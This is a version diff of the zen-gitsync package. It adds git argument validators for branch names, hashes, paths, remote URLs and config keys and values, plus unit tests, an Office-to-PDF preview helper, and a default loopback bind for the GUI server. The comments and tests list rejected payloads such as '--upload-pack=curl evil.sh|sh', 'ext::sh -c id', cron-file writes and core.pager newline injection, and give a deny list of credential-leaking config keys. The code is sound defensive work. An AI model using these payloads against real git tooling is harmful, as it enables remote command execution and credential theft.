zen-gitsync 2.16.31 → 2.16.33

package/src/ui/server/utils/gitArgs.js

@@ -0,0 +1,165 @@
+// Copyright 2026 xz333221
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+// git 参数校验 —— 防止用户输入被 git 当成选项解析。
+//
+// 背景：execGitCommand 用 execFile 且不开 shell，所以不存在 shell 注入。
+// 但 git 自身提供了一批"能执行命令"的选项，最典型的是 --upload-pack：
+//
+//   git push -u origin '--upload-pack=curl evil.sh|sh'   ← branch 是这个就能 RCE
+//   git remote add origin 'ext::sh -c id'                ← url 也能
+//   git show '--output=/etc/cron.d/x' HEAD               ← 写任意文件
+//
+// 根因是参数位置上的用户输入只做了"非空"检查，没做形状校验。
+// 这里统一收口：所有进 execGitCommand 的 rev / pathspec 必须先过一遍。
+//
+// 设计取舍：分支名用**黑名单**而不是 ASCII 白名单 —— git 分支名允许 Unicode，
+// 中文分支名是真实存在的使用场景，白名单会误伤。
+
+import { HttpError } from './asyncRoute.js'
+
+// git 在 refname 中禁止的字符：ASCII 控制字符、空格、~ ^ : ? * [ \
+const ILLEGAL_REF_CHARS = /[\x00-\x1f\x7f\s~^:?*[\\]/
+
+// 完整或缩写的 commit hash。下限取 4 是因为 git 允许 4 位以上的缩写。
+const GIT_HASH_RE = /^[0-9a-fA-F]{4,40}$/
+
+const MAX_LEN = 255
+
+/**
+ * 校验分支名 / tag 名 / 其他 ref 名。
+ * 返回规范化后的字符串；不合法则抛 HttpError(400)。
+ */
+export function assertGitRef(value, label = '引用名') {
+  const s = String(value ?? '').trim()
+  if (!s) throw new HttpError(400, `缺少${label}`)
+  // 以 - 开头会被 git 解析成选项，这是参数注入的入口
+  if (s.startsWith('-')) throw new HttpError(400, `${label}不能以 - 开头`)
+  if (ILLEGAL_REF_CHARS.test(s)) throw new HttpError(400, `${label}含有非法字符`)
+  if (s.includes('..')) throw new HttpError(400, `${label}不能包含 ..`)
+  if (s.startsWith('/') || s.endsWith('/') || s.includes('//')) {
+    throw new HttpError(400, `${label}格式不合法`)
+  }
+  if (s.length > MAX_LEN) throw new HttpError(400, `${label}过长`)
+  return s
+}
+
+/**
+ * 校验 commit hash。只接受十六进制，不接受 HEAD~1 / branch 名等 rev 形式 ——
+ * 调用方如果需要支持 ref，应当改用 assertGitRef。
+ */
+export function assertGitHash(value, label = '提交哈希') {
+  const s = String(value ?? '').trim()
+  if (!s) throw new HttpError(400, `缺少${label}`)
+  if (!GIT_HASH_RE.test(s)) throw new HttpError(400, `${label}格式不合法`)
+  return s
+}
+
+// git config 允许读写的 key 白名单。
+//
+// 为什么必须白名单：git config --global 的 key 完全不设限会带来两个洞
+//   1. 读 http.https://github.com/.extraheader → 把 PAT 原样回给前端
+//   2. 写 core.editor / core.pager / alias.* → 后续 git 操作会执行其中的命令
+//      比如 core.pager='sh -c "id > /tmp/pwned" ;'，下一次 git log 就触发了
+//
+// 白名单只放纯数据型配置。alias.* 一律不收（git alias 会走 shell）。
+// 有额外需求时用 ZEN_GIT_CONFIG_ALLOWED_KEYS 追加（逗号分隔）。
+const DEFAULT_ALLOWED_GIT_CONFIG_KEYS = new Set([
+  'user.name',
+  'user.email',
+  'core.autocrlf',
+  'core.safecrlf',
+  'core.quotepath',
+  'core.ignorecase',
+  'core.longpaths',
+  'push.autoSetupRemote',
+  'push.default',
+  'pull.rebase',
+  'fetch.prune',
+  'init.defaultBranch'
+])
+
+function allowedGitConfigKeys() {
+  const extra = String(process.env.ZEN_GIT_CONFIG_ALLOWED_KEYS || '')
+    .split(',')
+    .map((s) => s.trim())
+    .filter(Boolean)
+  if (extra.length === 0) return DEFAULT_ALLOWED_GIT_CONFIG_KEYS
+  return new Set([...DEFAULT_ALLOWED_GIT_CONFIG_KEYS, ...extra])
+}
+
+/**
+ * 校验 git config 的 key。只允许白名单内的项，其余一律 400。
+ */
+export function assertGitConfigKey(value, label = '配置项名称') {
+  const s = String(value ?? '').trim()
+  if (!s) throw new HttpError(400, `缺少${label}`)
+  if (s.startsWith('-')) throw new HttpError(400, `${label}不能以 - 开头`)
+  if (!allowedGitConfigKeys().has(s)) {
+    throw new HttpError(400, `不允许读写的 git ${label}: ${s}`)
+  }
+  return s
+}
+
+/**
+ * 校验 git config 的 value。
+ *
+ * 光有 key 白名单还不够：git config 写值时，值里若含换行，.gitconfig 里就会
+ * 真的多出一行，等于能凭空塞进任意 key（core.pager 之类照样写进去），白名单
+ * 直接被绕过。方括号同理，能拼出一个新的 section。
+ */
+export function assertGitConfigValue(value, label = '配置项取值') {
+  const s = String(value ?? '').trim()
+  // \x00-\x1f 覆盖 \n(0x0a) 与 \r(0x0d)，[] 用于防止伪造 section
+  if (/[\x00-\x1f\x7f[\]]/.test(s)) {
+    throw new HttpError(400, `${label}含有非法字符`)
+  }
+  return s
+}
+
+/**
+ * 校验 remote URL。
+ *
+ * 除了 remote 名要过 assertGitRef，URL 本身也有两个坑：
+ *   1. git 支持 `ext::` 传输协议，值是 shell 命令 —— `git remote add origin 'ext::sh -c id'`
+ *      会在下次 fetch/pull 时执行它。
+ *   2. 以 - 开头同样会被解析成选项。
+ */
+export function assertGitRemoteUrl(value, label = '远程仓库地址') {
+  const s = String(value ?? '').trim()
+  if (!s) throw new HttpError(400, `${label}不能为空`)
+  if (s.startsWith('-')) throw new HttpError(400, `${label}不能以 - 开头`)
+  // ext:: 后面跟的是要执行的命令，等于把 remote 配置变成 RCE
+  if (/^ext::/i.test(s)) throw new HttpError(400, `不支持 ext:: 传输协议`)
+  if (/[\x00-\x1f\x7f]/.test(s)) throw new HttpError(400, `${label}含有非法字符`)
+  return s
+}
+
+/**
+ * 校验仓库内的相对路径（用于 pathspec 和 `<rev>:<path>` 这类 spec）。
+ * 拒绝绝对路径、盘符路径、UNC 路径与 .. 上跳。
+ */
+export function assertGitPath(value, label = '文件路径') {
+  const s = String(value ?? '').trim()
+  if (!s) throw new HttpError(400, `缺少${label}`)
+  if (s.startsWith('-')) throw new HttpError(400, `${label}不能以 - 开头`)
+  if (/[\x00-\x1f\x7f]/.test(s)) throw new HttpError(400, `${label}含有非法字符`)
+  // 绝对路径 / Windows 盘符 / UNC —— 仓库内路径应当是相对形式
+  if (s.startsWith('/') || /^[A-Za-z]:[\\/]/.test(s) || s.startsWith('\\\\')) {
+    throw new HttpError(400, `${label}必须是仓库内的相对路径`)
+  }
+  if (s.split(/[\\/]/).includes('..')) throw new HttpError(400, `${label}不能包含 ..`)
+  if (s.length > MAX_LEN * 4) throw new HttpError(400, `${label}过长`)
+  return s
+}

package/src/ui/server/utils/gitArgs.test.js

@@ -0,0 +1,215 @@
+// Copyright 2026 xz333221
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+// gitArgs.js 单元测试。
+//
+// 这些校验挡的是「用户输入被 git 当成选项解析」——execFile 无 shell 拦不住
+// git 自身的 --upload-pack / --output / ext:: 这类能执行命令或写文件的东西。
+// 测试的重点是**攻击载荷必须被拒**、**正常用法必须放行**（尤其中文分支名,
+// 用 ASCII 白名单会误伤,所以这里刻意用黑名单实现）。
+import { test } from 'node:test'
+import assert from 'node:assert/strict'
+import {
+  assertGitRef,
+  assertGitHash,
+  assertGitPath,
+  assertGitRemoteUrl,
+  assertGitConfigKey,
+  assertGitConfigValue
+} from './gitArgs.js'
+import { HttpError } from './asyncRoute.js'
+
+/** 断言该输入被拒,并返回抛出的 HttpError 状态码应 >= 400 */
+function assertRejected(fn, input, label) {
+  assert.throws(
+    () => fn(input),
+    (err) => {
+      if (!(err instanceof HttpError)) return false
+      if (!(err.statusCode >= 400)) return false
+      return true
+    },
+    `${label}: 应拒绝输入 ${JSON.stringify(input)}`
+  )
+}
+
+test('assertGitRef: 放行正常分支名', () => {
+  for (const ok of ['main', 'feature/login', 'v1.0.0', 'release_2', '功能分支', 'fix/bug-123']) {
+    assert.equal(assertGitRef(ok), ok.trim(), `应放行 ${ok}`)
+  }
+})
+
+test('assertGitRef: 中文分支名必须放行(不能用 ASCII 白名单)', () => {
+  assert.equal(assertGitRef('新功能'), '新功能')
+  assert.equal(assertGitRef('修复/登录问题'), '修复/登录问题')
+})
+
+test('assertGitRef: 拒绝以 - 开头的参数注入载荷', () => {
+  for (const bad of [
+    '--upload-pack=curl evil.sh|sh',
+    '--output=/etc/cron.d/x',
+    '-u',
+    '--exec=sh'
+  ]) {
+    assertRejected(assertGitRef, bad, 'assertGitRef')
+  }
+})
+
+test('assertGitRef: 拒绝 git refname 非法字符、.. 与斜杠形态', () => {
+  for (const bad of [
+    'a b',            // 空格
+    'HEAD~1',         // ~
+    'a^',             // ^
+    'a:b',            // :
+    'a?b',            // ?
+    'a*b',            // *
+    'a[b',            // [
+    'a\\b',           // 反斜杠
+    'a..b',           // ..
+    '/leading',
+    'trailing/',
+    'double//slash',
+    '',
+    '   '
+  ]) {
+    assertRejected(assertGitRef, bad, 'assertGitRef')
+  }
+})
+
+test('assertGitHash: 放行 4~40 位十六进制', () => {
+  assert.equal(assertGitHash('abc1234'), 'abc1234')
+  assert.equal(assertGitHash('ABCDEF'), 'ABCDEF')
+  assert.equal(assertGitHash('a'.repeat(40)), 'a'.repeat(40))
+  assert.equal(assertGitHash('abcd'), 'abcd')
+})
+
+test('assertGitHash: 拒绝非十六进制与 rev 语法', () => {
+  for (const bad of [
+    'abc',              // 太短
+    'g123456',          // 非十六进制
+    'abc123^',          // rev 语法
+    'HEAD',
+    'main',
+    '--output=/tmp/x',
+    '',
+    'a'.repeat(41)
+  ]) {
+    assertRejected(assertGitHash, bad, 'assertGitHash')
+  }
+})
+
+test('assertGitPath: 放行仓库内相对路径', () => {
+  for (const ok of ['src/foo.ts', 'a/b/c.js', 'README.md', '目录/文件.md']) {
+    assert.equal(assertGitPath(ok), ok)
+  }
+})
+
+test('assertGitPath: 拒绝绝对路径、盘符、UNC、.. 与选项形态', () => {
+  for (const bad of [
+    '../etc/passwd',
+    'a/../../b',
+    '/etc/passwd',
+    'C:\\Windows\\system32',
+    'C:/Windows',
+    '\\\\server\\share',
+    '--output=x',
+    '',
+    'a\x00b'
+  ]) {
+    assertRejected(assertGitPath, bad, 'assertGitPath')
+  }
+})
+
+test('assertGitRemoteUrl: 放行常见远程地址', () => {
+  for (const ok of [
+    'https://github.com/xz333221/zen-gitsync.git',
+    'git@github.com:xz333221/zen-gitsync.git',
+    'ssh://git@github.com/xz333221/zen-gitsync.git',
+    '/local/path/to/repo.git'
+  ]) {
+    assert.equal(assertGitRemoteUrl(ok), ok)
+  }
+})
+
+test('assertGitRemoteUrl: 拒绝 ext:: 传输协议(会执行 shell 命令)', () => {
+  for (const bad of [
+    'ext::sh -c id',
+    'EXT::sh -c id',
+    'ext::sh -c "curl evil.sh|sh"',
+    '--upload-pack=curl evil.sh|sh'
+  ]) {
+    assertRejected(assertGitRemoteUrl, bad, 'assertGitRemoteUrl')
+  }
+})
+
+test('assertGitConfigKey: 放行前端实际用到的配置项', () => {
+  for (const ok of [
+    'user.name',
+    'user.email',
+    'core.autocrlf',
+    'push.autoSetupRemote',
+    'pull.rebase',
+    'fetch.prune',
+    'init.defaultBranch'
+  ]) {
+    assert.equal(assertGitConfigKey(ok), ok)
+  }
+})
+
+test('assertGitConfigKey: 拒绝可泄露凭据或可执行命令的配置项', () => {
+  for (const bad of [
+    'http.https://github.com/.extraheader',  // 读走 PAT
+    'core.editor',                            // 触发命令执行
+    'core.pager',                             // 触发命令执行
+    'alias.st',                               // git alias 走 shell
+    'credential.helper',                      // 可设成 !command
+    'core.sshCommand',
+    '--get'
+  ]) {
+    assertRejected(assertGitConfigKey, bad, 'assertGitConfigKey')
+  }
+})
+
+test('assertGitConfigKey: ZEN_GIT_CONFIG_ALLOWED_KEYS 可追加放行项', () => {
+  const bak = process.env.ZEN_GIT_CONFIG_ALLOWED_KEYS
+  try {
+    process.env.ZEN_GIT_CONFIG_ALLOWED_KEYS = 'http.proxy, https.proxy'
+    assert.equal(assertGitConfigKey('http.proxy'), 'http.proxy')
+    assert.equal(assertGitConfigKey('https.proxy'), 'https.proxy')
+    // 白名单仍然生效,没被环境变量顶掉
+    assertRejected(assertGitConfigKey, 'core.pager', 'assertGitConfigKey')
+  } finally {
+    if (bak === undefined) delete process.env.ZEN_GIT_CONFIG_ALLOWED_KEYS
+    else process.env.ZEN_GIT_CONFIG_ALLOWED_KEYS = bak
+  }
+})
+
+test('assertGitConfigValue: 拒绝换行与方括号(否则能绕过 key 白名单)', () => {
+  // 值里带换行会在 .gitconfig 里真的多出一行,等于凭空写入任意 key
+  for (const bad of [
+    'a\ncore.pager = sh -c id',
+    'a\neditor = evil',
+    'a\r\nb = c',
+    '[core]\n\tpager = sh -c id',
+    'a\x00b'
+  ]) {
+    assertRejected(assertGitConfigValue, bad, 'assertGitConfigValue')
+  }
+})
+
+test('assertGitConfigValue: 放行正常取值', () => {
+  assert.equal(assertGitConfigValue('  Zhang San  '), 'Zhang San')
+  assert.equal(assertGitConfigValue('true'), 'true')
+  assert.equal(assertGitConfigValue('main'), 'main')
+  assert.equal(assertGitConfigValue('a@b.com'), 'a@b.com')
+})

package/src/ui/server/utils/officePreview.js

@@ -0,0 +1,80 @@
+import fs from 'fs/promises'
+import os from 'os'
+import path from 'path'
+import { spawn } from 'child_process'
+
+export const OFFICE_EXTS = new Set([
+  'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'odt', 'ods', 'odp',
+])
+
+const MAX_INPUT_BYTES = 50 * 1024 * 1024
+const CONVERT_TIMEOUT_MS = 30_000
+const cache = new Map()
+
+export function getOfficeExtension(filePath = '') {
+  return path.extname(String(filePath)).toLowerCase().slice(1)
+}
+
+export function isOfficeFile(filePath = '') {
+  return OFFICE_EXTS.has(getOfficeExtension(filePath))
+}
+
+function findSoffice() {
+  if (process.env.SOFFICE_PATH) return process.env.SOFFICE_PATH
+  return process.platform === 'win32' ? 'soffice.exe' : 'soffice'
+}
+
+async function runSoffice(inputPath, outputDir) {
+  const args = [
+    '--headless', '--nologo', '--nodefault', '--nofirststartwizard',
+    '--norestore', '--convert-to', 'pdf', '--outdir', outputDir, inputPath,
+  ]
+  await new Promise((resolve, reject) => {
+    const child = spawn(findSoffice(), args, { windowsHide: true })
+    let stderr = ''
+    const timer = setTimeout(() => {
+      child.kill()
+      reject(new Error('Office 文件转换超时'))
+    }, CONVERT_TIMEOUT_MS)
+    child.stderr?.on('data', (chunk) => { stderr += String(chunk) })
+    child.once('error', (error) => { clearTimeout(timer); reject(error) })
+    child.once('exit', (code) => {
+      clearTimeout(timer)
+      if (code === 0) resolve()
+      else reject(new Error(stderr.trim() || `LibreOffice 转换失败 (${code})`))
+    })
+  })
+}
+
+/** Convert an Office buffer to PDF. Results are cached by caller-provided key. */
+export async function convertOfficeToPdf({ buffer, filePath, cacheKey }) {
+  if (!Buffer.isBuffer(buffer)) throw new Error('Office 内容必须是二进制 Buffer')
+  if (buffer.length > MAX_INPUT_BYTES) throw new Error('Office 文件过大（最大 50 MB）')
+  if (cacheKey && cache.has(cacheKey)) return cache.get(cacheKey)
+
+  const ext = getOfficeExtension(filePath)
+  if (!OFFICE_EXTS.has(ext)) throw new Error('不支持的 Office 文件类型')
+
+  const tempRoot = await fs.mkdtemp(path.join(os.tmpdir(), 'zen-office-'))
+  const inputPath = path.join(tempRoot, `input.${ext}`)
+  const outputPath = path.join(tempRoot, 'input.pdf')
+  try {
+    await fs.writeFile(inputPath, buffer)
+    await runSoffice(inputPath, tempRoot)
+    const pdf = await fs.readFile(outputPath)
+    const result = { buffer: pdf, contentType: 'application/pdf' }
+    if (cacheKey) {
+      cache.set(cacheKey, result)
+      if (cache.size > 64) cache.delete(cache.keys().next().value)
+    }
+    return result
+  } finally {
+    await fs.rm(tempRoot, { recursive: true, force: true }).catch(() => {})
+  }
+}
+
+export function clearOfficePreviewCache() {
+  cache.clear()
+}
+
+export const OFFICE_PREVIEW_LIMITS = { maxInputBytes: MAX_INPUT_BYTES, timeoutMs: CONVERT_TIMEOUT_MS }

package/src/ui/server/utils/officePreview.test.js

@@ -0,0 +1,21 @@
+import test from 'node:test'
+import assert from 'node:assert/strict'
+import { getOfficeExtension, isOfficeFile, OFFICE_PREVIEW_LIMITS } from './officePreview.js'
+
+test('officePreview: recognizes supported Office formats', () => {
+  assert.equal(isOfficeFile('docs/Report.DOCX'), true)
+  assert.equal(isOfficeFile('sheet.xls'), true)
+  assert.equal(isOfficeFile('slides.pptx'), true)
+  assert.equal(isOfficeFile('slides.ppt'), true)
+  assert.equal(isOfficeFile('src/index.ts'), false)
+})
+
+test('officePreview: extracts extension safely', () => {
+  assert.equal(getOfficeExtension('C:\\docs\\plan.XLSX'), 'xlsx')
+  assert.equal(getOfficeExtension('/tmp/no-extension'), '')
+})
+
+test('officePreview: exposes conservative conversion limits', () => {
+  assert.equal(OFFICE_PREVIEW_LIMITS.maxInputBytes, 50 * 1024 * 1024)
+  assert.equal(OFFICE_PREVIEW_LIMITS.timeoutMs, 30_000)
+})

package/src/ui/server/utils/startServerOnAvailablePort.js

@@ -14,6 +14,18 @@
 //
 import logger from './logger.js'
 
+// 监听地址：默认只绑回环地址。
+// GUI 服务没有任何认证层，绑 0.0.0.0 等于把 /api/exec-stream（命令执行）、
+// /api/add-npm-script（写 package.json scripts）、/api/open-file（用系统
+// 关联程序打开任意文件）等接口裸奔在局域网上，同网段任何主机都可调用。
+// 确有远程访问 / WSL 跨环境需求时，用 ZEN_HOST=0.0.0.0 显式放开。
+const DEFAULT_HOST = '127.0.0.1'
+
+function normalizeHost(raw) {
+  const value = typeof raw === 'string' ? raw.trim() : ''
+  return value || DEFAULT_HOST
+}
+
 export async function startServerOnAvailablePort({
   httpServer,
   startPort,
@@ -24,8 +36,10 @@ export async function startServerOnAvailablePort({
   savePortToFile,
   fsSync,
   maxTries = 100,
-  callbackExecutedRef
+  callbackExecutedRef,
+  host
 }) {
+  const bindHost = normalizeHost(host ?? process.env.ZEN_HOST)
   let currentPort = startPort;
   const maxPort = startPort + maxTries;
   const getCallbackExecuted = () => {
@@ -56,7 +70,7 @@ export async function startServerOnAvailablePort({
 
         httpServer.once('error', errorHandler);
 
-        httpServer.listen(currentPort, () => {
+        httpServer.listen(currentPort, bindHost, () => {
           if (getCallbackExecuted()) return;
           setCallbackExecuted(true);
 
@@ -66,6 +80,10 @@ export async function startServerOnAvailablePort({
           console.log(chalk.green(`  Zen GitSync 服务器已启动`));
           console.log(chalk.green(`  访问地址: http://localhost:${currentPort}`));
           console.log(chalk.green(`  启动时间: ${new Date().toLocaleString()}`));
+          // 非回环地址才提示，默认情况保持安静（避免每次启动都刷警告）
+          if (bindHost !== DEFAULT_HOST) {
+            console.log(chalk.yellow(`  监听地址: ${bindHost}（已放开非本地访问，请确认网络环境可信）`));
+          }
 
           if (isGitRepo) {
             console.log(chalk.green(`  当前目录是Git仓库`));